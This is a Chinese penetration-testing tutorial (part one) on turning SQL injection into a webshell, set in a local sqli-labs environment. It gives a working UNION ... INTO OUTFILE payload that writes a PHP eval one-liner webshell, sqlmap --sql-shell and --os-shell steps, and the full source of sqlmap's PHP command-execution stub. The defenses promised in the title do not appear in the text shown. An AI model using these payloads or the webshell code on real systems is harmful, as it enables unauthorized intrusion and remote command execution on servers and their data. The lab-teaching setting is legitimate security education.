当前位置: 首页 > news >正文

渗透测试之利用sql拿shell(附完整流程+防御方案)【上】

导读:

时刻保持谦逊,始终保持学习,探寻事物的本质,不要把事情复杂化

目录:

  • 前言
  • 流程
  • 通过into outfile 进行文件写入
  • 利用sqlmap 
  • 利用日志getshell

  • 利用文件包含漏洞getshell

  • 利用数据库备份getshell

前言:

为什么SQL注入能拿Shell?

        SQL注入的本质是通过恶意SQL语句操控数据库,而部分数据库支持执行系统命令或写入文件。若能利用注入点向Web目录写入一句话木马,即可通过中国菜刀/蚁剑连接获取Shell。

流程:

寻找SQL注入点 → 判断数据库类型 → 获取Web路径 → 写入WebShell → 连接shell

一、通过into outfile 进行文件写入

利用条件:

  1. 拥有网站的写入权限
  2. 知道网站的绝对路径
  3. Secure_file_priv参数为空或可写目录(在mysql/my.ini中查看)

注:

        Secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。

  • secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
  • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
  • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

实际操作: 

(1)查看secure-file-priv参数的值
show global variables like '%secure%';

(2)修改secure_file_priv 的值 

windows下:修改my.ini 在[mysqld]内加入secure_file_priv =

linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =

在mysql/my.ini[mysqld]中查看是否有secure_file_priv 的参数,没有的话加上secure_file_priv = 即可,再查看secure_file_priv的值如下已经变为空了 。

(3)写入shell(以sqli-labs第七关为例)
1、判断注入点

通过输入?id=3')) and sleep(3) --+时成功延时,发现存在注入点就为3'))

2、判断列数

通过order by 3 回显正常、order by 4报错,判断为3列

3、写入shell

http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-7/?id=-3')) union select 1,<?php @eval($_POST['test']); ?>,3 into outfile 'C:\\Penetration\\TrafficTools\\phpStudy\\PHPTutorial\\WWW\\outfile.php' --+

4. 连接webshell 

使用蚁剑连接成功

二、利用sqlmap 

利用条件:

  1. 拥有网站的写入权限,能够使用单引号
  2. 知道网站的绝对路径
  3. Secure_file_priv参数为空或可写目录(在mysql/my.ini中查看)

实际操作: (以sqli-labs第一关为例)

sqlmap.py -u "http://xxx?id=1" --sql-shell  //进入命令行
(1)查看文件路径

select @@datadir;   //(mysql/data的路径,根目录一般与mysql处于同一目录)

(2)查看secure_file_priv 参数值

select @@secure_file_priv  //若为空则什么都不显示,若为NULL则显示NULL

(3)写入shell
1、--os-shell

(通过udf提权写入shell,也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件) 

2、选择语言

3、填写文件路径

sqlmap在指定的目录生成了两个文件(文件名是随机的,并不是固定的):

  • tmpbuwzg.php用来执行系统命令
  • tmpunynt.php用来上传文件

 tmpbuwzg.php文件内容为:

<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>
4、成功访问

访问 tmpbuwzg.php并利用cmd执行命令

访问tmpunynt.php上传文件,正常上传木马连接即可。

时间有限,未完待续~

文中如有错误,还请各位大佬批评指正,感激不尽! 

相关文章:

  • Visual studio + Qt 项目配置管理
  • UI自动化测试Selenium安装教程(1)
  • 《加快应急机器人发展的指导意见》中智能化升级的思考——传统应急设备智能化升级路径与落地实践
  • 【JavaEE】网络原理
  • FPGA学习篇——Verilog学习5(reg,wire区分及模块例化)
  • 【洛谷P1080国王游戏】2025-3-7
  • K8S学习之基础十三:k8s中ReplicaSet的用法
  • VUE3开发-4、组件引入
  • 《A++ 敏捷开发》- 18 软件需求
  • java 重点知识 — JVM存储模块与类加载器
  • js基本功(五)
  • 【Linux网络#13】:网络层(IP 协议 网络通信 全球网络 路由转发)
  • STM32F4 UDP组播通信:填一填ST官方HAL库的坑
  • 【JAVA架构师成长之路】【电商系统实战】第12集:秒杀系统性能优化实战(CAN + Nginx + Sentinel)
  • Myslq表的内外连接
  • tomcat安装
  • [数据抓取] Python 网络爬虫 - 学习手册
  • WIFI ESP8266以及基础功能介绍
  • Python环境安装(3.8)
  • C++学习之格斗小游戏综合案例
  • 天津市建设厅注册中心网站/西安seo计费管理
  • 今天合肥疫情最新情况/站内优化主要从哪些方面进行
  • wordpress隐藏源代码/深圳百度搜索排名优化
  • 网站备案用户名忘了怎么办/站长工具大全
  • 无锡高端网站建设/2023年中国进入一级战备状态了吗
  • 用网站做自我介绍自己/深圳创新创业大赛